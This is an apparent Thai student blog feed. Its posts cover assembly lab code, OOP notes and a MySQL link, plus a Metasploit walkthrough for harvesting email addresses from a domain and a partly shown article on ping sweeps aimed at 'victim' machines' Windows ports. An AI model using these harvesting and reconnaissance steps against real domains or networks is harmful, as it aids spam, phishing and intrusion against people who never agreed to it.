<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-6668150533214865272</id><updated>2011-10-11T10:35:14.151+07:00</updated><category term='hack'/><category term='command linux'/><category term='MySQL'/><category term='Brute'/><category term='netstat'/><category term='harvest email'/><category term='wallpaper'/><category term='reload'/><category term='perl'/><category term='ping'/><category term='WALTER SAVITCH'/><category term='metasploit'/><category term='Object-Oriented Programing'/><category term='F5'/><category term='scanport'/><category term='command'/><category term='assembly'/><category term='compile'/><category term='EditPlus'/><category term='asm lab'/><category term='C++'/><category term='firefox'/><category term='add-on firefox'/><category term='namp'/><category term='add-ons'/><category term='hackerskill.net'/><category term='tank grean'/><category term='Kmitl'/><category term='Bt4'/><category term='GokU'/><category term='OOP'/><category term='THD'/><category term='Authentication'/><category term='network'/><category term='perl.script'/><category term='ubuntu'/><category term='port'/><category term='Opkwin'/><category term='window98se'/><category term='Absolute C++'/><title type='text'>%GOKU%</title><subtitle type='html'>@GokU</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://gokuzx.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6668150533214865272/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://gokuzx.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>GokU</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>13</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-6668150533214865272.post-4531614933201234095</id><published>2011-01-18T20:17:00.013+07:00</published><updated>2011-01-18T21:29:31.358+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tank grean'/><category scheme='http://www.blogger.com/atom/ns#' term='asm lab'/><title type='text'>CODE : GREAN ASM Lab Assignment V.2</title><content type='html'>ตัวอย่างโค๊ต Tank Lab ASM&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;blockquote&gt;Assignment : TANKZ ASM&lt;br /&gt;&lt;br /&gt;LINES : 200&lt;br /&gt;&lt;br /&gt;Bug : Not found. &lt;/b&gt;&lt;br /&gt;&lt;br /&gt;*ใครเจอบัคบอกด้วยน้อ T..T&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;เลื่อนได้ทั้งเมาส์ และ คีย์บอร์ด (ลูกศร ขึ้น ขวา ลง ซ้าย)&lt;br /&gt;&lt;br /&gt;กด คลิกขวา,esc = exit program&lt;br /&gt;&lt;br /&gt;ตรง mov ah,11h int 16h &gt;&gt; อยู่ที่รุ่นของคีย์บอร์ดแต่ละคนด้วย&lt;br /&gt;&lt;br /&gt;บางคนอาจจะ 01h int 16h&lt;br /&gt;&lt;br /&gt;Modify รูปรถถังได้ตามใจชอบ ใน function TANKZ&lt;br /&gt;&lt;br /&gt;แต่ถ้าเกิน 5 ช่อง ต้องคำนวนระยะขอบใหม่ด้วย..&lt;br /&gt;&lt;br /&gt;มีไรสงสัย ถามใน m นะ &lt;br /&gt;&lt;br /&gt;&lt;font color="red"&gt;* best preview on DosBox. &lt;br /&gt;&lt;br /&gt;*v.2 แก้ไขตกขอบใน dos ธรรมดา แต่ใช้เมาส์เลื่อนก้ยังตกขอบ ซ้าย-ขวา :]&lt;br /&gt;&lt;br /&gt;อาจจะต้อง เขียนเช็คสด เพราะ dos ธรรมดา ไม่รับฟังชั่นกำหนดขอบเขตเมาส์&lt;br /&gt;&lt;/font&gt;&lt;br /&gt;&lt;b&gt;G&lt;/b&gt;ood &lt;b&gt;L&lt;/b&gt;uck.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;http://gokuz.pastebin.com/cVktxucf&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Ref : GokU&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6668150533214865272-4531614933201234095?l=gokuzx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gokuzx.blogspot.com/feeds/4531614933201234095/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gokuzx.blogspot.com/2011/01/code-grean-asm-lab-assignment-v2.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6668150533214865272/posts/default/4531614933201234095'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6668150533214865272/posts/default/4531614933201234095'/><link rel='alternate' type='text/html' href='http://gokuzx.blogspot.com/2011/01/code-grean-asm-lab-assignment-v2.html' title='CODE : GREAN ASM Lab Assignment V.2'/><author><name>GokU</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6668150533214865272.post-6543259434734160549</id><published>2010-12-25T22:57:00.004+07:00</published><updated>2010-12-25T23:00:16.206+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySQL'/><category scheme='http://www.blogger.com/atom/ns#' term='command'/><title type='text'>MySQL Commands :]</title><content type='html'>Merry Chistmas everyone   :PPP&lt;br /&gt;&lt;br /&gt;ไปเจอเวปคำสั่งเกี่ยวกับ MySQL ดี ๆ&lt;br /&gt;&lt;br /&gt;เลยอัพๆ ไว้กันลืมซะหน่อย !&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.pantz.org/software/mysql/mysqlcommands.html"&gt;MySQL Command&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt; . . . . . . . . . . &lt;/center&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6668150533214865272-6543259434734160549?l=gokuzx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gokuzx.blogspot.com/feeds/6543259434734160549/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gokuzx.blogspot.com/2010/12/mysql-commands.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6668150533214865272/posts/default/6543259434734160549'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6668150533214865272/posts/default/6543259434734160549'/><link rel='alternate' type='text/html' href='http://gokuzx.blogspot.com/2010/12/mysql-commands.html' title='MySQL Commands :]'/><author><name>GokU</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6668150533214865272.post-4331259733485046749</id><published>2010-12-09T01:16:00.003+07:00</published><updated>2010-12-13T02:48:48.231+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Object-Oriented Programing'/><category scheme='http://www.blogger.com/atom/ns#' term='OOP'/><title type='text'>OOP = ?</title><content type='html'>บ่น ๆ ไว้ในบล๊อคกันลืม :P&lt;br /&gt;&lt;br /&gt;OOP (Object-Oriented Programing) หรือการเขียนโปรแกรมเชิงวัตถุ เป็นการเขียนโปรแกรมที่แตกต่างจากการเขียน&lt;br /&gt;&lt;br /&gt;โปรแกรมแบบธรรมดา (แบบโครงสร้าง:Structure Programing) เป็นการเขียนโปรแกรมที่มองสิ่งต่างๆของโปรแกรมเป็นวัตถุ&lt;br /&gt;&lt;br /&gt;โปรแกรมเชิงวัตถุ สร้างมาจากกลุ่มของออบเจ็กต์ หรือวัตถุ ซึ่งแต่ละออบเจ็กต์จะบรรจุ Attribute(*1) และ Operation(*2) ภาย&lt;br /&gt;&lt;br /&gt;ในตัวออกเจ็กต์เอง และแต่ละ Object จะเชื่อมต่อการทำงานเข้าด้วยกัน&lt;br /&gt;(*1)Attribute คือ คุณสมบัติหรือตัวแปรที่มีความสัมพันธ์กับ Object&lt;br /&gt;(*2)Operation คือ การกระทำหรือฟังก์ชันที่ Object สามารถการทำปรับเปลี่ยนตัวมันอง หรือแสดงผลออกมาภายนอกได้&lt;br /&gt;&lt;br /&gt;ประโยชน์ของการเขียนโปรแกรมเชิงวัตถุคือ&lt;br /&gt;1. การจัดรูปแบบโค้ดเป็นระบบระเบียบ ทำให้ง่ายต่อการพัฒนา และแก้ไขในภายหลัง&lt;br /&gt;2.มีการป้องกันของข้อมูล เพื่อป้องกันการนำข้อมูลไปใช้อย่างผิดๆ ดังนั้นหากต้องการนำข้อมูลภายใน Object ไปใช้&lt;br /&gt;3.การนำไปใช้สามารถทำได้ง่ายไม่ยุ่งวุ่นวาย และสามารถนำไปใช้ซ้ำได้โดยไม่ต้องเขียนโค้ดใหม่&lt;br /&gt;&lt;br /&gt;Class คือ เค้าโครงที่ใช้กำหนดลักษณะของออบเจ็กต์ และใช้แทนกลุ่มของออบเจ็กต์ แต่ละคลาส(Class) ประกอบไปด้วย&lt;br /&gt;&lt;br /&gt;Operation เดียวกันกระทำในทิศทางเดียวกัน และ Attribute เดียวกันในการแทนสิ่งเดียวกัน&lt;br /&gt;ยกตัวอย่างเช่น หุ่นยนต์ คิดเป็น Class ของ Object ที่ใช้อธิบายคุณลักษณะต่างๆ เปรียบได้กับ Attribute เช่น กลไกในการ&lt;br /&gt;&lt;br /&gt;เคลื่อนที่ หน่วยความจำ และการกระทำต่างๆของหุ่นยนต์เปรียบได้กับ Operation เช่นการเคลื่อนที่ของหุ่นยนต์&lt;br /&gt;&lt;br /&gt;ยังมีอีกมากมาย &gt;,,&lt;"&lt;br /&gt;&lt;br /&gt;ref : &lt;a href="http://www.narisa.com/forums/index.php?showtopic=31368"&gt;1&lt;/a&gt; , &lt;a href="http://th.wikipedia.org/wiki/%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B9%80%E0%B8%82%E0%B8%B5%E0%B8%A2%E0%B8%99%E0%B9%82%E0%B8%9B%E0%B8%A3%E0%B9%81%E0%B8%81%E0%B8%A3%E0%B8%A1%E0%B9%80%E0%B8%8A%E0%B8%B4%E0%B8%87%E0%B8%A7%E0%B8%B1%E0%B8%95%E0%B8%96%E0%B8%B8"&gt;2&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;ps*&lt;/b&gt; ตอนแรกแค่อยากรู้ ให้เข้าใจกว่าเดิม อ่านไป อ่านมา ยิ่งลึก ยิ่งงง T..T&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6668150533214865272-4331259733485046749?l=gokuzx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gokuzx.blogspot.com/feeds/4331259733485046749/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gokuzx.blogspot.com/2010/12/oop.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6668150533214865272/posts/default/4331259733485046749'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6668150533214865272/posts/default/4331259733485046749'/><link rel='alternate' type='text/html' href='http://gokuzx.blogspot.com/2010/12/oop.html' title='OOP = ?'/><author><name>GokU</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6668150533214865272.post-3356542827044257414</id><published>2010-12-06T21:22:00.003+07:00</published><updated>2010-12-13T02:35:34.425+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Kmitl'/><category scheme='http://www.blogger.com/atom/ns#' term='GokU'/><category scheme='http://www.blogger.com/atom/ns#' term='assembly'/><category scheme='http://www.blogger.com/atom/ns#' term='asm lab'/><title type='text'>CODE : ASM Lab Assignment :]</title><content type='html'>&lt;span style=";font-family:tahoma;font-size:100%;"  &gt;&lt;br /&gt;Code assembly lab assignmet !!!&lt;br /&gt;&lt;br /&gt;ยังไม่มี Flow Chart นะ ยังไม่ได้ทำ ฮ่า ๆ&lt;br /&gt;&lt;br /&gt;สงสัยไร ถามใน m นะ ,, :)&lt;br /&gt;&lt;br /&gt;req - ต้องเตรียมข้อความภาษาอังกฤษ save เป็น .txt  (เพื่อเปิดมาอ่านได้)&lt;br /&gt;&lt;br /&gt;&lt;font color="red"&gt;edit * เพิ่ม flowchart &lt;/font&gt;  ให้แบบเกือบละเอียด ห้าห้า (คลิกดูรูปใหญ่ได้มั่ง :P)&lt;br /&gt;&lt;br /&gt;&lt;a href="http://sphotos.ak.fbcdn.net/hphotos-ak-ash2/hs376.ash2/65439_1648386282520_1022838931_31812538_6784970_n.jpg"&gt;&lt;IMG SRC="http://sphotos.ak.fbcdn.net/hphotos-ak-ash2/hs376.ash2/65439_1648386282520_1022838931_31812538_6784970_n.jpg" width="150" height="100"&gt;&lt;/IMG&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;font size=2&gt;.model small&lt;br /&gt;.stack&lt;br /&gt;.data&lt;br /&gt;str0 db "Enter Input File Name : ",'$'&lt;br /&gt;strlen db 20&lt;br /&gt;actual db 0&lt;br /&gt;bufferz db 20 dup(0)&lt;br /&gt;str0out db "Enter Output File Name : ",'$'&lt;br /&gt;strlenout db 20&lt;br /&gt;actualout db 0&lt;br /&gt;bufferzout db 20 dup(0)&lt;br /&gt;&lt;br /&gt;;Filename db "goku.txt",0&lt;br /&gt;Filehandle dw 00&lt;br /&gt;buffer db 10000 dup(?),"$"&lt;br /&gt;&lt;br /&gt;;Filesave db "output.txt",0&lt;br /&gt;fh dw 00&lt;br /&gt;bfh db 10000 dup(?)&lt;br /&gt;bfh2 db 10000 dup(?)&lt;br /&gt;&lt;br /&gt;counter1 db 0&lt;br /&gt;counter2 db 0&lt;br /&gt;.code&lt;br /&gt;main proc&lt;br /&gt;mov ax,@data&lt;br /&gt;mov ds,ax&lt;br /&gt;;set mode&lt;br /&gt;mov ah,0&lt;br /&gt;mov al,3&lt;br /&gt;int 10h&lt;br /&gt;&lt;br /&gt;call FILE&lt;br /&gt;call CLEAR&lt;br /&gt;call FILE2&lt;br /&gt;&lt;br /&gt;newpage:&lt;br /&gt;;clear screen&lt;br /&gt;mov ah,07h&lt;br /&gt;mov al,00h&lt;br /&gt;mov bh,00000111b&lt;br /&gt;sub cx,cx&lt;br /&gt;mov dx,184fh&lt;br /&gt;int 10h&lt;br /&gt;;set ruler&lt;br /&gt;mov counter1,27&lt;br /&gt;&lt;br /&gt;entez:&lt;br /&gt;sub counter1,1&lt;br /&gt;cmp counter1,0&lt;br /&gt;je check&lt;br /&gt;mov counter2,79&lt;br /&gt;again:&lt;br /&gt;mov al,[si]&lt;br /&gt;mov ah,02h&lt;br /&gt;mov dl,al&lt;br /&gt;int 21h&lt;br /&gt;&lt;br /&gt;mov [di],al&lt;br /&gt;inc si&lt;br /&gt;inc di&lt;br /&gt;&lt;br /&gt;cmp al,0Dh&lt;br /&gt;je entez&lt;br /&gt;dec counter2&lt;br /&gt;jnz again&lt;br /&gt;mov ah,02h&lt;br /&gt;mov dl,0Dh&lt;br /&gt;int 21&lt;br /&gt;cmp counter2,0&lt;br /&gt;je entez&lt;br /&gt;&lt;br /&gt;check:&lt;br /&gt;;check enter esc&lt;br /&gt;mov ah,0&lt;br /&gt;int 16h&lt;br /&gt;cmp al,0Dh&lt;br /&gt;je newpage&lt;br /&gt;cmp al,1Bh&lt;br /&gt;je scanbfh&lt;br /&gt;jmp check&lt;br /&gt;&lt;br /&gt;scanbfh:&lt;br /&gt;lea si,bfh&lt;br /&gt;lea bx,bfh2&lt;br /&gt;mov cx,29999&lt;br /&gt;&lt;br /&gt;chk:&lt;br /&gt;;check k&lt;br /&gt;mov al,4bh&lt;br /&gt;cmp [si],al&lt;br /&gt;jne not_chk&lt;br /&gt;inc si&lt;br /&gt;dec cx&lt;br /&gt;jz exit&lt;br /&gt;chm:&lt;br /&gt;mov al,4dh&lt;br /&gt;cmp [si],al&lt;br /&gt;jne not_chm&lt;br /&gt;inc si&lt;br /&gt;dec cx&lt;br /&gt;jz exit&lt;br /&gt;chi:&lt;br /&gt;mov al,49h&lt;br /&gt;cmp [si],al&lt;br /&gt;jne not_chi&lt;br /&gt;inc si&lt;br /&gt;dec cx&lt;br /&gt;jz exit&lt;br /&gt;cht:&lt;br /&gt;mov al,54h&lt;br /&gt;cmp [si],al&lt;br /&gt;jne not_cht&lt;br /&gt;inc si&lt;br /&gt;dec cx&lt;br /&gt;&lt;br /&gt;mov al,4bh&lt;br /&gt;mov [bx],al&lt;br /&gt;inc bx&lt;br /&gt;mov al,4dh&lt;br /&gt;mov [bx],al&lt;br /&gt;inc bx&lt;br /&gt;mov al,49h&lt;br /&gt;mov [bx],al&lt;br /&gt;inc bx&lt;br /&gt;mov al,54h&lt;br /&gt;mov [bx],al&lt;br /&gt;inc bx&lt;br /&gt;mov al,4ch&lt;br /&gt;mov [bx],al&lt;br /&gt;inc bx&lt;br /&gt;jmp chk&lt;br /&gt;&lt;br /&gt;not_chk:&lt;br /&gt;mov dx,[si]&lt;br /&gt;mov [bx],dx&lt;br /&gt;inc si&lt;br /&gt;inc bx&lt;br /&gt;dec cx&lt;br /&gt;jz exit&lt;br /&gt;jmp chk&lt;br /&gt;&lt;br /&gt;not_chm:&lt;br /&gt;mov al,4bh&lt;br /&gt;mov [bx],al&lt;br /&gt;inc bx&lt;br /&gt;jmp not_chk&lt;br /&gt;&lt;br /&gt;not_chi:&lt;br /&gt;mov al,4bh&lt;br /&gt;mov [bx],al&lt;br /&gt;inc bx&lt;br /&gt;mov al,4dh&lt;br /&gt;mov [bx],al&lt;br /&gt;inc bx&lt;br /&gt;jmp not_chk&lt;br /&gt;&lt;br /&gt;not_cht:&lt;br /&gt;mov al,4bh&lt;br /&gt;mov [bx],al&lt;br /&gt;inc bx&lt;br /&gt;mov al,4dh&lt;br /&gt;mov [bx],al&lt;br /&gt;inc bx&lt;br /&gt;mov al,49h&lt;br /&gt;mov [bx],al  &lt;br /&gt;inc bx&lt;br /&gt;jmp not_chk&lt;br /&gt;&lt;br /&gt;exit:&lt;br /&gt;;write output&lt;br /&gt;mov ah,40h&lt;br /&gt;lea dx,bfh2&lt;br /&gt;mov cx,30000&lt;br /&gt;mov bx,fh&lt;br /&gt;int 21h&lt;br /&gt;&lt;br /&gt;;close file&lt;br /&gt;mov bx,Filehandle&lt;br /&gt;mov ah,3eh&lt;br /&gt;int 21h&lt;br /&gt;mov bx,fh&lt;br /&gt;mov ah,3eh&lt;br /&gt;int 21h&lt;br /&gt;&lt;br /&gt;;end proc&lt;br /&gt;mov ah,4ch&lt;br /&gt;INT 21h&lt;br /&gt;&lt;br /&gt;main endp&lt;br /&gt;&lt;br /&gt;FILE PROC&lt;br /&gt;mov ah,09h&lt;br /&gt;mov dx,offset str0&lt;br /&gt;int 21h&lt;br /&gt;&lt;br /&gt;mov ah,0Ah&lt;br /&gt;mov dx,offset strlen&lt;br /&gt;int 21h&lt;br /&gt;&lt;br /&gt;lea bx,bufferz&lt;br /&gt;add bl,actual&lt;br /&gt;sub ah,ah&lt;br /&gt;mov [bx],ah&lt;br /&gt;&lt;br /&gt;mov ah,02h&lt;br /&gt;mov dl,0Ah&lt;br /&gt;int 21h&lt;br /&gt;mov dl,0dh&lt;br /&gt;int 21h&lt;br /&gt;&lt;br /&gt;mov ah,09&lt;br /&gt;mov dx,offset str0out&lt;br /&gt;int 21h&lt;br /&gt;&lt;br /&gt;mov ah,0Ah&lt;br /&gt;mov dx,offset strlenout&lt;br /&gt;int 21h&lt;br /&gt;&lt;br /&gt;lea bx,bufferzout&lt;br /&gt;add bl,actualout&lt;br /&gt;sub ah,ah&lt;br /&gt;mov [bx],ah&lt;br /&gt;ret&lt;br /&gt;FILE ENDP&lt;br /&gt;&lt;br /&gt;CLEAR PROC&lt;br /&gt;;clear screen&lt;br /&gt;mov ah,07h&lt;br /&gt;mov al,00h&lt;br /&gt;mov bh,00000111b&lt;br /&gt;sub cx,cx&lt;br /&gt;mov dx,184fh&lt;br /&gt;int 10h&lt;br /&gt;ret&lt;br /&gt;CLEAR ENDP&lt;br /&gt;&lt;br /&gt;FILE2 PROC&lt;br /&gt;;openfile&lt;br /&gt;lea dx,bufferz&lt;br /&gt;mov ah,3dh&lt;br /&gt;mov al,0&lt;br /&gt;int 21h&lt;br /&gt;mov FileHandle,ax&lt;br /&gt;&lt;br /&gt;;create file save&lt;br /&gt;lea dx,bufferzout&lt;br /&gt;mov ah,3ch&lt;br /&gt;mov cx,0&lt;br /&gt;int 21h&lt;br /&gt;mov fh,ax&lt;br /&gt;&lt;br /&gt;;readfile&lt;br /&gt;mov ah,3fh&lt;br /&gt;lea dx,buffer&lt;br /&gt;mov cx,10000&lt;br /&gt;mov bx,FileHandle&lt;br /&gt;int 21h&lt;br /&gt;&lt;br /&gt;cld&lt;br /&gt;lea si,buffer&lt;br /&gt;lea di,bfh&lt;br /&gt;ret&lt;br /&gt;FILE2 ENDP&lt;br /&gt;&lt;br /&gt;end main&lt;br /&gt;&lt;/font&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Ref : By GokU.&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6668150533214865272-3356542827044257414?l=gokuzx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gokuzx.blogspot.com/feeds/3356542827044257414/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gokuzx.blogspot.com/2010/12/code-asm-lab-assignment.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6668150533214865272/posts/default/3356542827044257414'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6668150533214865272/posts/default/3356542827044257414'/><link rel='alternate' type='text/html' href='http://gokuzx.blogspot.com/2010/12/code-asm-lab-assignment.html' title='CODE : ASM Lab Assignment :]'/><author><name>GokU</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6668150533214865272.post-965891797794670834</id><published>2010-11-06T03:29:00.000+07:00</published><updated>2010-11-06T03:37:53.046+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='metasploit'/><category scheme='http://www.blogger.com/atom/ns#' term='harvest email'/><category scheme='http://www.blogger.com/atom/ns#' term='Bt4'/><title type='text'>Harvest email addresses with metasploit</title><content type='html'>&lt;span style=";font-family:tahoma;font-size:100%;"  &gt;&lt;br /&gt;&lt;br /&gt;Tutorial on how to harvest email addresses with metasploit.&lt;br /&gt;&lt;br /&gt;&lt;font color=green&gt;1)&lt;/font&gt;First thing to do is open a msfconsole and type&lt;br /&gt;&lt;blockquote&gt;search gather&lt;/blockquote&gt;&lt;br /&gt;&lt;img src=http://img688.imageshack.us/img688/8692/snapshot1o.png&gt;&lt;/img&gt;&lt;br /&gt;&lt;br /&gt;&lt;font color=green&gt;2)&lt;/font&gt; Type&lt;br /&gt;&lt;blockquote&gt;use gather/search_email_collector&lt;/blockquote&gt;&lt;br /&gt;&lt;img src=http://img153.imageshack.us/img153/3245/snapshot2v.png&gt;&lt;/img&gt;&lt;br /&gt;&lt;br /&gt;&lt;font color=green&gt;3)&lt;/font&gt; Now you need to set the domain you can use what you want eg gmail.com, yahoo.com, l33thackers.com for this tutorial we will use gmail.com&lt;br /&gt;&lt;blockquote&gt;set domain gmail.com&lt;/blockquote&gt;&lt;br /&gt;then&lt;br /&gt;&lt;blockquote&gt;run&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src=http://img251.imageshack.us/img251/5863/snapshot3c.png&gt;&lt;/img&gt;&lt;br /&gt;&lt;img src=http://img64.imageshack.us/img64/5232/snapshot4o.png&gt;&lt;/img&gt;&lt;br /&gt;&lt;br /&gt;Now you should have a list of email addreses its as simple as that.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Did a search for l33thackers.com and it come up with 1 email, must be the old domain owner.&lt;br /&gt;&lt;br /&gt;&lt;img src=http://img525.imageshack.us/img525/3443/snapshot5.png&gt;&lt;/img&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Enjoy&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Forgot to add you can also output to a txt file to make a list use this before or after "set domain"&lt;br /&gt;&lt;blockquote&gt;set outfile /root/list.txt&lt;/blockquote&gt;&lt;br /&gt;This will ouput file to desktop.&lt;br /&gt;&lt;br /&gt;ref : I33 :)&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6668150533214865272-965891797794670834?l=gokuzx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gokuzx.blogspot.com/feeds/965891797794670834/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gokuzx.blogspot.com/2010/11/harvest-email-addresses-with-metasploit.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6668150533214865272/posts/default/965891797794670834'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6668150533214865272/posts/default/965891797794670834'/><link rel='alternate' type='text/html' href='http://gokuzx.blogspot.com/2010/11/harvest-email-addresses-with-metasploit.html' title='Harvest email addresses with metasploit'/><author><name>GokU</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6668150533214865272.post-6822403873905388789</id><published>2010-09-03T21:04:00.000+07:00</published><updated>2010-09-03T21:10:28.170+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='scanport'/><category scheme='http://www.blogger.com/atom/ns#' term='ping'/><category scheme='http://www.blogger.com/atom/ns#' term='port'/><category scheme='http://www.blogger.com/atom/ns#' term='namp'/><title type='text'>Start for Nmap :]</title><content type='html'>&lt;span style=";font-family:tahoma;font-size:100%;"  &gt;&lt;br /&gt;@Goku เจอบทความนี้ อ่านทีเดียว พอเข้าใจหลักการทำงานของ nmap เลย :]&lt;br /&gt;&lt;br /&gt;เทคนิคการ Ping Sweep&lt;br /&gt;ใน บทความต่อไปนี้  ผมจะมุ่งประเด็นเกี่ยวกับเรื่องการแสกนว่ามีเรื่องไหนยัง login  อยู่หรือกำลังใช้งาน และ port ต่างที่เครื่องเหยื่อได้เปิดเอาไว้  จากบทความของผม เวลาคุณจะต้องสนใจเครื่องของเหยื่อที่ port 139 กับ 445  เท่านั้น เพราะเป็นส่วนจำเป็นในการ Hack Window&lt;br /&gt;คือการ ping  ไปยังเครื่องเป้าหมายที่จำนวนมากๆ ในวง Network ที่คุณใช้อยู่ หรือวง lan  นั่นเอง (ใน Internet ก็ใช้ได้) โดยแสกนพร้อมๆกัน คล้ายกับการ&lt;br /&gt;กราดยิง  เพื่อตรวจสอบว่าเครื่องปลายทางได้เปิดอยู่หรือไม่ก็ตาม เช่นคุณมี IP  x.y.z.6 ตรง x.y.z อาจเป็นตัวเลขใดๆก็ได้ แต่เลข 6 คือเลขชุดหลังของ ip คุณ  เวลาคุณแสกนหาให้เขียนลงไปดังนี้ x.y.z.0/24 จากตรงเลข 6 เปลี่ยนเป็น 0/24  หมายความว่าเป็นการแสกน IP ตั้งแต่ x.y.z.1- x.y.z.255&lt;br /&gt;ยกตัวอย่าง&lt;br /&gt;สมมติ  คุณกำลังต่อเน็ต หรือกำลังใช้คอมอยู่ในวงแลน ให้คุณเิดหน้าต่างดอสขนึ้มา  (หรือ Start &gt; Run พิมพ์ cmd.exe) พอหน้าต่างดอสขนึ้มาให้คุณพิมพ์  ipconfig แล้วกด Enter&lt;br /&gt;&lt;blockquote&gt;C:\&gt;ipconfig&lt;br /&gt;Windows 2000 IP Configuration&lt;br /&gt;Ethernet adapter Local Area Connection:&lt;br /&gt;Media State . . . . . . . . . . . : Cable Disconnected&lt;br /&gt;PPP adapter TOT:&lt;br /&gt;Connection-specific DNS Suffix . :&lt;br /&gt;IP Address. . . . . . . . . . . . : 172.16.66.216&lt;br /&gt;Subnet Mask . . . . . . . . . . . : 255.255.255.255&lt;br /&gt;Default Gateway . . . . . . . . . : 172.16.66.216&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;ให้  คุณดูที่ตัวหนังสือสีแดงครับ คือ IP ของคุณเอง จากนั้น IP  เครื่องต่างๆที่อยู่ในวงแลนเน็ตของคุณ หรือวงแลนสำนักงานคุณ ก็จะมี IP  ประมาณว่า&lt;br /&gt;172.16.66.1 ถึง 172.16.66.225 ครับผม  